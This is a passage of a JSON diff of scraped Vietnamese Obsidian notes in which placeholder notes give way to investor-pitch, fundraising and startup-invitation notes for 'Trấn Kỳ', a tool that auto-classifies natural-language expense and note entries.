tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày tạo": "2023-11-24T10:59:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5B" }, { - "Tiêu đề": "Cần tích hợp được với các chương trình khác", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Khả năng tích hợp/Cần tích hợp được với các chương trình khác", + "Tiêu đề": "Quỹ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Quỹ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu người dùng::\r\nTính năng:: [[Dễ dàng thiết lập việc tự động truyền dữ liệu sang các phần mềm khác]]\r\n\r\nĐáp ứng cho nhu cầu:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng\" \r\nwhere contains(nhu-cầu-người-dùng, [[]])\r\n```\r\n", + "Toàn bộ nội dung": "| Thành quả mong muốn | Giả thiết | Công việc |\r\n| -------------------------------------- | ----------------------------------------------- | ------------------------------------------- |\r\n| [[Một khoản đầu tư 120tr cho 3 tháng]] | Đến lúc có được điều này thì Kendy vẫn còn sống | [[Kế hoạch gây quỹ|Kêu gọi đầu tư]] |\r\n\r\n## Tốc độ là không cần thiết\r\nVì việc giữ kín mã nguồn cũng không đem lại nhiều lợi thế cạnh tranh cho lắm.\r\n\r\n## Việc giữ kín mã nguồn cũng không đem lại nhiều lợi thế cạnh tranh cho lắm\r\nNhững app quản lý tài chính như MoneyLover hay Misa chắc chắn sẽ bắt chước được tính năng này thôi. Ai có hiểu biết về lập trình nhìn vào cũng thấy đây chỉ là bắt regex chứ có gì đâu mà khó. Chịu khó bỏ thời gian ra để debug là được. Nên từ đầu việc giữ bí mật mã nguồn cũng không đem lại nhiều lợi thế cạnh tranh cho lắm. Tạo ra [[Hiệu ứng mạng là hiệu ứng mà mỗi một người dùng gia nhập vào mạng lưới sẽ tạo thêm giá trị và cải thiện chất lượng cho cả mạng lưới đó|hiệu ứng mạng]] sẽ giữ chân được người dùng hơn, đồng thời dữ liệu người dùng sẽ trở nên phong phú, đa dạng và nhiều giá trị để khai thác hơn.\r\n\r\nBài chi tiết: [[Mô hình kinh doanh Trấn Kỳ]]{ .md-button .md-button--primary }\r\n\r\n## Chiếm lĩnh thị trường bằng việc tạo ra những nguồn tài nguyên chuyên sâu, có thể đáp ứng những nhu cầu đặc thù và cộng đồng thực chất\r\nNếu chỉ xem cộng đồng như là sân sau của công ty, để có thể tăng đơn hàng hay là nơi hỗ trợ khách hàng thì người dùng cũng chỉ cho mình những dữ liệu như vậy. Còn nếu ta xây dựng được sự tin tưởng ở người dùng rằng ta sẽ luôn tìm cách để đáp ứng nhu cầu của họ, rằng ta không xem họ là nguồn tài nguyên để khai thác mà xem họ là bạn của mình, dẫn đường cho họ đi qua những điều họ đang không biết nhưng cần biết, thì ta sẽ là thứ đầu tiên người tham gia nghĩ đến khi cần giới thiệu cho bạn mình. Ta cũng dễ kiếm được nhân sự có chất lượng với mức lương dễ chịu hơn.\r\n\r\n(Khi một cá nhân ý thức được rằng mình thuộc về và có ý nghĩa đối với một tập thể lớn hơn, cảm giác rằng có một mạng lưới các mối quan hệ được cấu trúc, thì họ có **ý thức cộng đồng (sense of community)** (Sarason, 1974). Các thành viên trong nhóm có một lịch sử chung, cùng chia sẻ những kinh nghiệm chung, biểu lộ sự gần gũi về mặt cảm xúc, cùng nhau chuyển tải sự thừa nhận chung về căn cước và số phận (Heller, 1989).) \r\n\r\nMô hình tương tự như [[Y Combinator]], Docker, Deno, WordPress \r\n\r\nXem thêm:: [[Việc có được khách hàng mới có thể tốn kém hơn từ 5 đến 25 lần so với việc giữ chân một khách hàng hiện có]]\r\n\r\n[[Kế hoạch xây dựng cộng đồng phát triển Trấn Kỳ]]\r\n[[Kế hoạch xây dựng đội ngũ]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5C" }, { - "Tiêu đề": "Không cần tích hợp", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Khả năng tích hợp/Không cần tích hợp", + "Tiêu đề": "Điều nhà đầu tư quan tâm và điều muốn nhà đầu tư quan tâm", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Quỹ/Điều nhà đầu tư quan tâm và điều muốn nhà đầu tư quan tâm", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tính năng:: \r\nLoại chương trình::\r\nTên chương trình::\r\n", + "Toàn bộ nội dung": "# Điều nhà đầu tư quan tâm\r\n## Trấn Kỳ là gì\r\nTrấn Kỳ là một chương trình tự động phân loại, gắn nhãn thông tin theo thói quen và cách sắp xếp của riêng bạn bằng tiếng Việt tự nhiên, và có thể tích hợp được vào hệ thống vận hành hiện tại của bạn như báo cáo ngân hàng, Google Keep, Google Sheet, Notion, Obsidian, Fibery, Odoo, v.v.\r\n\r\nVí dụ, với câu nhập đầu vào là:\r\n\r\n```\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả\r\n```\r\n\r\nKết quả đầu ra sẽ là:\r\n\r\n| Tên | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n\r\nNgoài ra bạn còn có thể dùng nó để phân loại nhiều thứ khác. Ví dụ:\r\n- **Ý tưởng**: `Kĩ thuật viết văn %topic_Writing @tác_giả_a`\r\n- **Mối quan hệ**: `Gặp @ông_A bàn về việc X, có đi ăn ở !nhà_hàng_Y 200k ck vcb`\r\n- **Công việc**: `Công việc A cần giao cho @bạn_B liên hệ với @@đối_tác_C tại !quán_D với chi phí dự kiến 300k ck vcb và nhận output &&item_X`\r\n- **Cảm xúc**: `xem phim:Inception thấy chấn động`\r\n- **Sức khoẻ:** `chạy bộ 100m, hít đất 30 cái`\r\n\r\n## Tiềm năng thị trường\r\nTheo nhóm tìm hiểu thì Trấn Kỳ là chương trình duy nhất hiện nay ở Việt Nam giúp phân loại dữ liệu một cách tự động mà dễ tiếp cận với mọi người. ChatGPT thì thực ra cũng có thể làm được, nhưng Trấn Kỳ có những ưu điểm mà ChatGPT không thể sánh được: đảm bảo chính xác 100% theo phân loại người dùng, không cần kết nối mạng khi chạy, không cần gửi dữ liệu ra bên ngoài, chạy số lượng lớn nhanh và rẻ.\r\n\r\nTrong lĩnh vực tài chính cá nhân, với những app hiện có, ví dụ như MoneyLover, thì sau 5 năm hoạt động vẫn chỉ có 50k download, chứng tỏ nó vẫn còn quá bé, vẫn chưa chiếm lĩnh được thị trường. Ngoài ra, việc phân loại chi tiêu cũng là bước đầu tiên để một người gia nhập thị trường tài chính. Nó có thể giúp các ngân hàng tiếp cận những người không dùng tài khoản ngân hàng (nhóm unbanked). Nhất là với nhóm đối tượng học sinh, khi họ chưa đủ 18 tuổi để mở tài khoản ngân hàng. Đây là một mỏ dữ liệu cho các nhà đầu tư.\r\n\r\n### df\r\nBọn mình đã lọt được vào sự chú ý của [J.D.Everest](https://www.jdeverest.com/), một công ty tư vấn chiến lược cho các công ty quản lý tài sản gia đình (family office) và quỹ đầu tư tư nhân (private equity investment) ở Việt Nam. Theo [LinkedIn của người sáng lập](https://www.linkedin.com/in/swimano/) thì anh này trước khi sáng lập J.D.Everest thì từng là:\r\n- Thạc sĩ hệ thống thông tin,\r\n- Giám đốc điều hành số của [Early Risers Media Group](https://tuoitre.vn/early-risers-ke-hoach-dua-phim-viet-ra-the-gioi-20220424113728409.htm \"Early Risers và kế hoạch đưa phim Việt ra thế giới - Tuổi Trẻ Online\"), quản lý cho phim *Để Mai Tính*, *Long Ruồi*\r\n - [Người sáng lập công ty này](https://tuoitre.vn/vy-vincent-ngo---nguoi-tram-lang-271245.htm) viết kịch bản cho phim *Hancook* và sửa chữa kịch bản cho *Dòng máu anh hùng* và *Lửa Phật*\r\n- Đồng sáng lập *Quỹ Đầu tư Khởi nghiệp Quốc gia (Vietnam Startup Investment Fund – VNSIF)*\r\n\r\nBạn có thể xem [[J.D. Everest|các ghi chép của bọn mình khi ngồi nói chuyện với họ]].\r\n\r\nBên này nói rằng nếu làm app thu chi cá nhân và đánh thị trường Hàn Quốc trước thì khả năng ăn là 70%, vì bọn này mới thắng crypto. Tuy nhiên, một chị khác cũng từng làm fintech cho Hàn Quốc cho rằng fintech HQ đã phát triển trước mình 10 năm rồi, bây giờ tham gia vào thì không dễ ăn.\r\n\r\n## Lịch sử phát triển\r\n```mermaid\r\ngantt\r\ndateFormat D/M/YY\r\naxisFormat %d/%m\r\ntitle Lịch sử phát triển Trấn Kỳ\r\n\r\nsection Làm MVP\r\nTạo phần lõi : crit, 5/7/23, 13/8/23\r\nTạo plugin cho Google Keep và Fibery: 23/8/23, 13/10/23\r\n\r\nsection Xây dựng sản phẩm\r\nViết hướng dẫn sử dụng: 4/9/23, 10/10/23\r\nSửa web: 28/10/23\r\nLên kế hoạch: 11/11/23\r\nPhỏng vấn (5 buổi): 11/11/23, 23/11/23\r\nGặp đối tác (4 buổi): 18/11/23, 24/11/23\r\n\r\nsection Dựng web cho Trấn Kỳ\r\nDựng web cho Trấn Kỳ: 5/1/24, 7/2/24\r\n```\r\n\r\n## Khám phá sâu về người dùng\r\nCó những người sử dụng chương trình này không chỉ để phân loại thu chi, mà còn để phân loại các loại dữ liệu khác, cũng như kết hợp vào hệ thống hoạch định tài nguyên doanh nghiệp của họ.\r\n\r\nBài chi tiết: [[Lý do viết Trấn Kỳ]]{ .md-button .md-button--primary }\r\n\r\n## Mô hình kinh doanh\r\nDự kiến những người có nhu cầu phân loại dữ liệu lớn nhất là:\r\n- Những doanh nghiệp vừa và nhỏ\r\n- Những nhà nghiên cứu hoặc làm dự án xã hội mới được cấp quỹ làm dự án\r\n\r\nĐặc điểm chung của nhóm này là:\r\n1. dữ liệu của họ đủ lớn và quy trình đủ phức tạp để họ phải có một hệ thống xử lý dữ liệu mà các sản phẩm no-code không đáp ứng được, nhưng \r\n2. nguồn lực cũng đủ nhỏ để không đủ tiền thuê lập trình viên cho mình và không đủ thời gian để tự học lập trình\r\n\r\nThế nên hiện tại nhóm đang mở các buổi hỗ trợ các đối tượng này giải quyết nhu cầu công việc thông qua việc hướng dẫn lập trình để thu hút họ. Trong tương lai khi có thêm nhân lực thì có thể suy nghĩ thêm những cách làm sau:\r\n- SaaS: tính theo số lượng truy vấn hoặc plugin\r\n- Bán dữ liệu\r\n- Gia công cho các công ty\r\n- Quảng cáo\r\n\r\nBài chi tiết: [[Mô hình kinh doanh Trấn Kỳ|Mô hình kinh doanh Trấn Kỳ]]{ .md-button .md-button--primary }\r\n\r\n## Đội ngũ\r\nHiện tại nhóm có 1 người làm toàn thời gian ở tất cả các vấn đề (nghiên cứu, lập trình, truyền thông, phỏng vấn, v.v.) và 1 người làm quản lý kiêm nhân sự. Ngoài ra còn có 2 người khác cũng quan tâm và thường xuyên cho đóng góp. Tất cả đều đã làm việc với nhau hơn 2 năm cùng Quả Cầu.\r\n\r\n# Điều muốn nhà đầu tư quan tâm\r\n## Trấn Kỳ được sinh ra là để giúp Kendy\r\nGiúp đỡ Kendy là điều kiện tiên quyết để nhóm xem xét đề nghị đầu tư của bạn. Bạn không cần phải quan tâm đến Kendy, chỉ cần nhóm thấy được đề nghị đầu tư của bạn có lợi nhất cho Kendy thì nhóm sẽ đồng ý.\r\n[[Lý do viết Trấn Kỳ]], [[Kế hoạch giúp đỡ người đang kiệt quệ vì nợ]]\r\n\r\n## [[Người dùng hài lòng với chất lượng sản phẩm, không phải tốc độ làm ra nó]] \r\n- [[Đa số startup không chết vì cạnh tranh với đối thủ, mà vì không có người dùng sản phẩm của mình]]\r\n- [[Dựa vào KPI thì bộ phận kinh doanh sẽ có tiếng nói lớn nhất, còn đội phát triển sản phẩm rất ít có tiếng nói]]\r\n- [[Thứ quyết định hiệu quả của việc kinh doanh là văn hoá doanh nghiệp và phản ứng của thị trường về mình]]\r\n- [[Việc ưu tiên ra quyết định nhanh làm ta thấy thảo luận và dành thời gian xây dựng kế hoạch và nghiên cứu là phí thời gian]]\r\n- [[Áp lực giết chết sự sáng tạo]]\r\n- [[When someone's taking time to do something right in the present, they're a perfectionist with no ability to prioritize, whereas when someone took time to do something right in the past, they're a master artisan of great foresight]]\r\n- [[Nếu bạn nghĩ rằng bạn có thể hoàn thành đúng kế hoạch, có thể bạn đang ngộ nhận]]\r\n- [[Việc mất tiền làm tâm lý con người bị đau dù có thể nó vô lý]]\r\n- [[Nỗi ám ảnh với sự hiệu quả có thể đến từ nỗi sợ chết]]\r\n- [[Việc thuê ngoài chỉ giải quyết được một lần, trong khi phải thử rất nhiều lần]]\r\n## Sức khoẻ cũng là một loại tài nguyên cần được tối ưu hoá\r\n- [[Phân tích quyết định đa tiêu chí (MCDA) là phương pháp để tìm điểm đánh đổi tối ưu nhất]] \r\n\r\n## Động lực nội sinh và sự tin tưởng tạo ra tổ chức đáng làm\r\n- [[Nhìn thấy được người kia đang làm gì làm tăng sự tin tưởng đối với họ]]\r\n- [[Một tổ chức đáng làm tạo ra được động lực nội sinh ở nhân viên]]\r\n\r\n## Quả Cầu là một vùng đất, một sân chơi, một cộng đồng, một mạng lưới, một nền tảng, một hệ sinh thái\r\nNó là một khái niệm lơ lửng, một vật thể trong suốt. Quả Cầu hướng đến việc trở thành một tổ chức không có sự phân cấp và người tham gia không làm vì trách nhiệm, lấy nhu cầu của thành viên (vốn nhiều vô kể và thay đổi liên tục) làm mục tiêu của tổ chức, để họ trở thành những người có kỹ năng đa dạng, tư duy liên ngành, và sự khoẻ mạnh và hạnh phúc toàn diện, dựa trên triết học của Deleuze và Guattari, khoa học phức hợp, game phiêu lưu nhập vai, nền kinh tế không dùng tiền, và các công cụ lưu dữ liệu tại máy người dùng.\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5D" }, { - "Tiêu đề": "Có thể dành thời gian nghiên cứu", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/2 Yêu cầu đầu vào/Có thể dành thời gian nghiên cứu", + "Tiêu đề": "Khảo sát trong các nhóm", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Truyền thông/Khảo sát trong các nhóm", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Phù hợp cho nhu cầu:: \r\n\r\nĐáp ứng cho việc:\r\n```dataview\r\nlist without id file.link + \" (\" + substring(split(file.folder, \"/\" )[3], 2) + \")\" \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "# Mỗi lần phân loại chi tiêu bạn tốn bao nhiêu thời gian?\r\nCác câu hỏi trong phần [khảo sát sâu](https://xn--qucu-hr5aza.cc/khao-sat-nhu-cau-phan-loai-tu-dong-va-lap-trinh/?utm_source=F+G+%C2%BB+C%E1%BB%99ng+%C4%91%E1%BB%93ng+C%E1%BB%91+v%E1%BA%A5n+t%C3%A0i+ch%C3%ADnh+Vi%E1%BB%87t+Nam+-+Vietnam+Wealth+Advisors+%28VWA%29&utm_medium=social&utm_campaign=Tr%E1%BA%A5n%20K%E1%BB%B3&utm_content=%C4%91%C4%83ng%20l%E1%BA%A7n%20%C4%91%E1%BA%A7u) sẽ giúp bạn hiểu rõ hơn những gì mình cần ở một giải pháp tự động hoá việc phân loại.\r\nCác câu hỏi trong phần [khảo sát sâu](https://xn--qucu-hr5aza.cc/khao-sat-nhu-cau-phan-loai-tu-dong-va-lap-trinh/?utm_source=F%20G%20%C2%BB%20QU%E1%BA%A2N%20L%C3%9D%20T%C3%80I%20CH%C3%8DNH%20C%C3%81%20NH%C3%82N&utm_medium=social&utm_campaign=Tr%E1%BA%A5n%20K%E1%BB%B3&utm_content=%C4%91%C4%83ng%20l%E1%BA%A7n%20%C4%91%E1%BA%A7u) sẽ giúp bạn hiểu rõ hơn những gì mình cần ở một giải pháp tự động hoá việc phân loại.\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5E" }, { - "Tiêu đề": "Dữ liệu có văn cảnh lớn", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/2 Yêu cầu đầu vào/Dữ liệu có văn cảnh lớn", + "Tiêu đề": "Lời mời tham gia đầu tư vào Trấn Kỳ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Truyền thông/Lời mời tham gia đầu tư vào Trấn Kỳ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Phù hợp cho nhu cầu:: \r\n\r\nĐáp ứng cho việc:\r\n```dataview\r\nlist without id file.link + \" (\" + substring(split(file.folder, \"/\" )[3], 2) + \")\" \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "# Lời mời tham gia đầu tư vào Trấn Kỳ\r\nTrấn Kỳ là một chương trình tự động phân loại, gắn nhãn thông tin theo thói quen và cách sắp xếp của riêng bạn bằng tiếng Việt tự nhiên, và có thể tích hợp được vào hệ thống vận hành hiện tại của bạn như báo cáo ngân hàng, Google Keep, Google Sheet, Notion, Obsidian, Fibery, Odoo, v.v.\r\n\r\nVí dụ, với câu nhập đầu vào là:\r\n\r\n```\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả\r\n```\r\n\r\nKết quả đầu ra sẽ là:\r\n\r\n| Tên | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n\r\nNgoài ra bạn còn có thể dùng nó để phân loại nhiều thứ khác. Ví dụ:\r\n- **Ý tưởng**: `Kĩ thuật viết văn %topic_Writing @tác_giả_a`\r\n- **Mối quan hệ**: `Gặp @ông_A bàn về việc X, có đi ăn ở !nhà_hàng_Y 200k ck vcb`\r\n- **Công việc**: `Công việc A cần giao cho @bạn_B liên hệ với @@đối_tác_C tại !quán_D với chi phí dự kiến 300k ck vcb và nhận output &&item_X`\r\n- **Cảm xúc**: `xem phim:Inception thấy chấn động`\r\n- **Sức khoẻ:** `chạy bộ 100m, hít đất 30 cái`\r\n\r\n## 👉 Link: tranky.deno.dev/tbkn\r\n# Tiềm năng thị trường\r\nTrấn Kỳ là chương trình duy nhất giúp phân loại tự động dễ tiếp cận với mọi người bằng tiếng Việt. Không có bất cứ app thu chi nào làm được điều này. Với những app hiện có, ví dụ như MoneyLover, thì sau 5 năm hoạt động vẫn chỉ có 50k download, chứng tỏ nó vẫn còn quá bé, vẫn chưa chiếm lĩnh được thị trường. Khi nào có ai đó chiếm trên 70% thì mới không nên tham gia. \r\n\r\nViệc phân loại chi tiêu là bước đầu tiên để một người gia nhập thị trường tài chính. Nó có thể giúp các ngân hàng tiếp cận những người không dùng tài khoản ngân hàng (nhóm [unbanked](https://www.investopedia.com/terms/u/unbanked.asp)). Điều này đặc biệt phù hợp với nhóm đối tượng học sinh, khi họ chưa đủ 18 tuổi để mở tài khoản ngân hàng. Đây là một mỏ dữ liệu cho các nhà đầu tư.\r\n\r\n# Khám phá sâu về người dùng\r\nCó những người sử dụng chương trình này không chỉ để phân loại thu chi, mà còn để phân loại các loại dữ liệu khác, cũng như kết hợp vào hệ thống hoạch định tài nguyên doanh nghiệp của họ.\r\n\r\n# Mô hình kinh doanh\r\nHiện tại thì đang mở các lớp học phục vụ cho:\r\n- Những người có một số vốn kiểu vài chục triệu để đầu tư kinh doanh, \r\n- Những người làm nghiên cứu hoặc làm dự án xã hội mới được cấp quỹ làm dự án\r\n\r\nTrong tương lai khi có thêm nhân lực thì có thể có thêm những cách làm sau:\r\n- SaaS: tính theo số lượng truy vấn hoặc plugin\r\n- Bán dữ liệu\r\n- Gia công cho các công ty\r\n- Quảng cáo\r\n\r\n# Đội ngũ\r\n1 người làm tech toàn thời gian và 1 người làm nhân sự. Ngoài ra còn có 2 người khác cũng quan tâm và thường xuyên cho đóng góp của mình. Tất cả đều đã làm việc với nhau hơn 2 năm cùng Quả Cầu.\r\n\r\n📷Hình 1: Giao diện web Trấn Kỳ (link: tranky.deno.dev/tbkn) \r\n📷Hình 2: Tính năng chuyển dữ liệu từ Google Keep vào Fibery\r\n📷Hình 3: Lịch sử phát triển Trấn Kỳ\r\n\r\n![[Giao diện web Trấn Kỳ.png]]\r\n![[Ξ Thiết lập/Ảnh/Trấn Kỳ/Keep to Fibery.png]]\r\n![](https://i.imgur.com/gQIGF2J.png)\r\n\r\n\r\nBài chi tiết: \r\n- [[Lý do viết Trấn Kỳ]]\r\n- [[Mô hình kinh doanh Trấn Kỳ|Mô hình kinh doanh Trấn Kỳ]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5F" }, { - "Tiêu đề": "Dữ liệu có văn cảnh nhỏ", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/2 Yêu cầu đầu vào/Dữ liệu có văn cảnh nhỏ", + "Tiêu đề": "Lời mời xây dựng một startup", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Truyền thông/Lời mời xây dựng một startup", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Phù hợp cho nhu cầu:: \r\n\r\nĐáp ứng cho việc:\r\n```dataview\r\nlist without id file.link + \" (\" + substring(split(file.folder, \"/\" )[3], 2) + \")\" \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "# Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm\r\nChào mọi người,\r\n\r\nTrong thời gian qua bọn mình đã viết [Trấn Kỳ](https://lậptrình.quảcầu.cc/%F0%9F%91%8Ftr%E1%BA%A5n%20k%E1%BB%B3/?utm_source=CW+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+L%E1%BB%9Di+m%E1%BB%9Di+tham+gia+startup+c%E1%BB%A7a+c%E1%BB%99ng+%C4%91%E1%BB%93ng&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=ph%E1%BA%A7n+m%E1%BB%9F+%C4%91%E1%BA%A7u), một chương trình phân loại câu nhập bằng tiếng Việt tự nhiên, với mục đích là để [[Lý do viết Trấn Kỳ|giúp Kendy]]. Chương trình đã viết xong. Bọn mình nhận thấy nó còn nhiều tiềm năng để phát triển nó, và việc phát triển đó có thể giải quyết nhiều nhu cầu khác nhau, không chỉ là Kendy, nên bọn mình muốn biến nó thành một startup và viết lời mời này.\r\n\r\nĐây là một startup vì nó phải có tăng trưởng và doanh thu, và các hoạt động của nó sẽ để làm những việc mà một người bạn sẽ làm. Trước mắt mục tiêu của nó là để hỗ trợ Kendy. Sau khi Kendy hết khó khăn rồi thì tuỳ vào quyết định của những người ở lại đến lúc đó.\r\n\r\n# Nhu cầu của người dùng và sản phẩm dành cho họ\r\n| Nhu cầu | Sản phẩm |\r\n| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\r\n| Phân loại các câu tiếng Việt một cách tự động mà không mất đi [[Việc trung tâm hoá việc lưu trữ dữ liệu trên máy chủ sẽ lấy đi autonomy và agency của người dùng cuối\\|sự tự trị dữ liệu (data autonomy)]] | [Trấn Kỳ](https://lậptrình.quảcầu.cc/%F0%9F%91%8Ftr%E1%BA%A5n%20k%E1%BB%B3/?utm_source=CW+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+L%E1%BB%9Di+m%E1%BB%9Di+tham+gia+startup+c%E1%BB%A7a+c%E1%BB%99ng+%C4%91%E1%BB%93ng&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=ph%E1%BA%A7n+%C4%91%E1%BB%91i+t%C6%B0%E1%BB%A3ng+th%E1%BB%A5+h%C6%B0%E1%BB%9Fng) (Sản phẩm chính) |\r\n| Cách tổ chức dữ liệu cho việc quản lý dự án, phát triển sản phẩm | [[📐 Dự án/Trấn Kỳ/4 Thành phẩm/Kế hoạch/Kế hoạch\\|Kế hoạch]], [[Tổ chức nhỏ hoặc người cần kỷ luật tài chính]], [[Truyền thông]] |\r\n| Học cách sử dụng công cụ và tư duy lập trình cho nhu cầu cá nhân hoặc nghiên cứu | [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]] |\r\n| Xây dựng PKM, ERP, giàn giáo nhận thức cho mình | [[🌟 Mở đầu\\|C Obsidian, quản lý dự án và công cụ nghĩ]] |\r\n| Tìm người giúp mình xây dựng hệ thống quản lý (VD: cài đặt Trấn Kỳ) | Mạng kết nối nhu cầu |\r\n| Thử nghiệm các mô hình hoạt động cộng đồng | [[Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm\\|Một startup làm những việc một người bạn sẽ làm]] |\r\n\r\nBài chi tiết: [[Giả thiết về giá trị của Trấn Kỳ]]{ .md-button .md-button--primary }\r\n# Mô hình hoạt động\r\nNgười cần Trấn Kỳ là những người bị dày vò hằng ngày khi tất cả những giải pháp họ biết tới đều yêu cầu họ phải phân loại ngay lúc nhập dữ liệu. Trong số đó, những người có tiềm năng chi tiền nhất có lẽ là:\r\n- Những người có một số vốn kiểu vài chục triệu để đầu tư kinh doanh, \r\n- Những người làm nghiên cứu hoặc làm dự án xã hội mới được cấp quỹ làm dự án\r\n\r\nĐể hỗ trợ người sử dụng Trấn Kỳ cũng như thu hút sự quan tâm của cộng đồng, [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]] sẽ được tổ chức. Những người cần có các buổi đó (bao gồm cả những người cần có Trấn Kỳ nhưng không có khả năng chi tiền) sẽ tham gia vào việc tổ chức chúng. Việc này đảm bảo rằng các buổi này sẽ diễn ra vào thời gian họ rảnh với nội dung được cá nhân hoá cho họ và ứng dụng được ngay vào dự án của họ. Những người tham gia các buổi này ngoài việc được đáp ứng các nhu cầu trước mắt sẽ có thêm cơ hội mở rộng mối quan hệ, kiến thức, trải nghiệm và các cơ hội khác.\r\n\r\nBài chi tiết: [[Mô hình kinh doanh Trấn Kỳ#Mô hình hoạt động là gì?|Hỏi đáp về việc bán Trấn Kỳ]]{ .md-button .md-button--primary } [[📐 Dự án/Trấn Kỳ/4 Thành phẩm/Kế hoạch/Kế hoạch|Kế hoạch]]{ .md-button .md-button--primary }\r\n\r\nĐây là những hoạt động mà một người bạn sẽ làm. Startup này chỉ chuyên nghiệp hoá chúng lên để đạt hiệu quả cao nhất mà thôi.\r\n# Số tiền thu được sẽ dùng làm gì?\r\n- Trả lương\r\n- Trả lãi cho nhà đầu tư\r\n- Hỗ trợ 